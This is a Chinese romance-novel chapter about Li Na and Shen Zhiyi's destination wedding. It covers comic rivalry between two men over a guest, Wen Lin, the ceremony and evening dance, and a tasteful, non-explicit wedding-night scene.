这场婚礼邀请的客人不到一百名，全是关系紧密的亲朋好友。
温琳穿着粉色的礼服裙，找了个靠前的位置坐下来，看着周围的风景，感觉自己这辈子只想岁月静好，现世安稳了。
秦钰一身黑色西装，皮鞋锃亮，走到温琳这里，主动搭话。
“你好，这里有人坐——”
“嗨！温琳姐！”
不知道陈研从哪里突然冒出来，挤掉面前的秦钰，一屁股坐到温琳旁边。
温琳都懵逼了：“你谁啊？”
陈研如同被人插了一刀，捂着胸口一副痛不欲生的样子，很受伤地看着她。
“是我啊，陈研啊，温琳姐，你不记得我了吗？”
温琳皱着眉回忆了一会，看着面前的陈研，一拍脑瓜。
“哦，是陈研啊，小知逸的朋友对吧？看我这脑子，真是年纪上来了，哈哈哈哈哈……”
陈研郁闷极了。
温琳拍拍他的肩膀：“好多年没见了，跟以前看起来一点都不一样了，是不是晒黑了点？”
陈研叹气：“什么晒黑了呀，我这是小麦色皮肤，温琳姐，你不觉得我很性感吗？”
温琳笑容僵住。
什么玩意？
性什么？
什么感？
一个二十多岁的小屁孩跟她说性感，真是见鬼了。
温琳移开视线：“嗯，挺可爱的，行了，一边玩儿去吧。”
她看向在原地站了很久的秦钰，拍了拍身旁的位置。
“这边没人坐，你坐这吧。”
秦钰：“好，谢谢。”
他坐到温琳左手边。
陈研坐在温琳右手边，一直用眼睛瞟秦钰，目光不太友善。
温琳跟黎娜玩得好，之前高中时候天天混在一块，对秦钰有所耳闻，两个人也称得上是校友，年龄也相仿，说了几句话就开始聊起天来。
陈研拿过来一块蛋糕：“温琳姐，你要不要吃蛋糕？这个蛋糕可好吃了，我都吃三块了。”
温琳看都没看：“我不吃蛋糕，热量太高了，我一把年纪，减肥都不好减了，你吃吧。”
秦钰笑道：“你都一把年纪了，那我是什么？”
陈研翻白眼：“……”
你是他妈的黑山老妖。
温琳继续跟秦钰说话。
这次陈研学机灵了，蛋糕热量太高，那喝点鲜榨果汁总行了吧。
他又拿过来一杯果汁：“温琳姐，你说那么多话，嘴巴都不渴吗，喝点果汁吧？”
温琳头都没转回来，接走他递来的果汁，喝完了把杯子还给他。
陈研：“……”
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好气哦。
招呼完客人的双方家长落座。
雾气缭绕的山林间，响起悠扬的小提琴声。
在宾客席的后面，黎娜穿着镶钻的白色婚纱，双手放在前面握住粉色捧花，慢慢朝台上走去。
沈知逸站在那里，蓬松的小卷毛随风晃动，微湿的眼睛看着黎娜，似乎有点等不及她这么慢慢吞吞地走过来，就一直悄悄地往前面挪，垂下来的手指收紧又放开，像是忍不住要扑上去抱住她了。
黎娜察觉到他的小动作，蒙在白纱中的脸上露出一个温柔的笑容，朝他眨了眨眼睛。
沈知逸就受不了了，才不管别人会怎么说他，直接走下来，到黎娜身旁，挽住她的胳膊。
周围宾客笑得不行。
其实这段路本该是黎父挽着黎娜，走到台上，然后再把黎娜的手交给沈知逸。
但黎娜不喜欢这个环节，不喜欢父亲把她的手交给另一个男人，不喜欢她和这个男人在台上甜蜜的时候，她的父亲就只能转过身去，黯然离场。她受不了这种场景，就好像父亲从此就要退出她的人生了一样。
所以黎娜从一开始就跟两边家长说好了，这段路，她要一个人走，不要黎父挽着她的手臂。
而且还有一点就是，她怕父亲把她的手交出去的时候，会忍不住哭出来，那样就太煽情了。沈知逸看起来也是比较感性的人，说不定会跟着黎父一起哭，到时候他们一老一小对着哭，那她真是不知道该怎么办了。
现在看来，她的选择是正确的。
宾客席上，黎父和张阿姨有说有笑，看起来并没有多难过的样子，黎娜松了口气。
也是，她都三十好几了，她能结婚，黎父恨不得举双手双脚一起鼓掌，怎么会舍不得她，泪洒婚礼现场呢？看来是她多虑了。
她和沈知逸念完誓词，在牧师的指示下，要当着这些人的面接吻了。
张阿姨捂住弟弟的眼睛。
弟弟扒拉张阿姨的手：“我要看，哥哥和姐姐是不是要亲嘴了，我要看，我要看他们亲嘴嘛！”
黎父也捂住他的眼睛，笑呵呵地说：“你还小呢，不能看这个，看了会怀孕的。”
弟弟被吓到，问张阿姨：“妈妈，男孩也会怀孕吗？”
张阿姨瞪了黎父一眼：“你跟小孩瞎说些什么！”
台上，沈知逸掀开白色头纱，低头吻住黎娜的嘴唇。
黎娜嘴角上扬，舔了舔他。
沈知逸整个人瞬间僵住。
啊……
现在这么多人看着他们，姐姐怎么能伸舌头呢，好羞耻，而且好多长辈还在……
以脸为中心，红晕迅速蔓延到了脖子和耳朵上，沈知逸慢慢松开黎娜，垂眸看她，用指腹帮她擦掉嘴唇上的水渍。
黎娜搂着他的腰，抬头看他，甜甜地对着他笑，漆黑的眼睛里印出他有些害羞无措的面孔。
沈知逸深吸口气，再次低头吻住黎娜的嘴唇。
宾客席传来一阵惊呼声和掌声。
黎娜瞪大双眼，在他侧腰轻拍了两下，没能制止，干脆随着他去了，搂在他腰上的手，缓慢上移，搂到他脖子上。
到晚上，宾客们住在小镇的民宿里，有乐队在台上演奏，台下的人们随着乐声各自组队，翩翩起舞。
秦钰颔首弯腰，朝温琳伸手：“给个面子吧。”
温琳愣了一下，正要把手交出去，陈研不知道从哪里窜出来，抓了一把土放到秦钰手里。
秦钰：“……”
温琳大惊失色：“陈研，你在干什么！好脏啊！”
陈研嘿嘿一笑：“温琳姐，跟我跳吧，我跳得肯定比他好！”
温琳嘴角抽搐：“你会跳舞？”
陈研下巴一抬：“你不试试怎么知道？”
温琳半信半疑，手伸出去。
秦钰拍了拍陈研的肩膀，微笑道：“小朋友，要有个先来后到吧？”
陈研也笑：“叔叔也要尊老爱幼呀。”
秦钰：“……”
此时，一个金发美女走过来，把手放到秦钰手上，什么都没说，一直用她那双冰蓝色的眼睛对秦钰放电。
秦钰挠头，罕见的竟有些窘迫。
温琳吹了声极其骚包的口哨，幸灾乐祸地看着秦钰。
秦钰无奈搂上金发女人的腰，欲哭无泪：“我还是更喜欢国内的女人……”
温琳笑得肚子疼：“你小子别身在福中不知福！”
听陈研吹了半天牛逼，等真跟他跳舞的时候，温琳都快被他踩死了。
“你到底会不会跳啊！”
陈研：“我会，我真会！”
温琳尖叫：“你会个毛！”
陈研：“你看，刚才我那一步，就没有踩到你！我真棒！”
温琳：“……”
他妈的脚趾都要粉碎性骨折了。
黎娜和沈知逸跳了一首曲子，就偷偷溜回名宿了。
刚关上门，黎娜就被按在了门板上，面前投下来一道黑影，沈知逸低头吻着她，从嘴唇往下滑，脖子，锁骨，胸口……滑过的地方，留下一片紫红色的痕迹。
黎娜抱住他的脑袋，指尖陷入他的小卷毛里，被他抱起来，细腿环在他紧实的腰身上，卷发散落下来，遮住半张脸，红唇若隐若现，发出细微急促的呼吸声。
沈知逸抱她到床上，轻轻地放好，用手指拨开她脸上的头发，动作小心翼翼，极其珍惜。
在昏黄色的灯光下，他目光浑浊且粘稠，充满了成年雄性的渴望，他把脸埋进黎娜脖子和卷发之间，似幼犬般轻哼着。
“好开心。”
“好幸福。”
黎娜吻了吻他的耳朵。
“我也是，沈知逸。”
从未度过如此迷乱的一夜，在异国他乡，在雪山和森林的注视下，回归到最人类最原始的欲/望，不知节制地索取。
潮水泛滥，窗外月亮轻颤。
阳光透过薄纱窗帘照进来，黎娜侧躺在床上，整个后背露出来，背上凸起一根脊骨。
沈知逸躺在她身后，用抚摸钢琴键的指尖，轻轻触碰这根脊骨，闭上眼睛，嘴角翘起一抹弧度。
幸福还有另一个名字，你知道叫什么吗？是叫姐姐哦。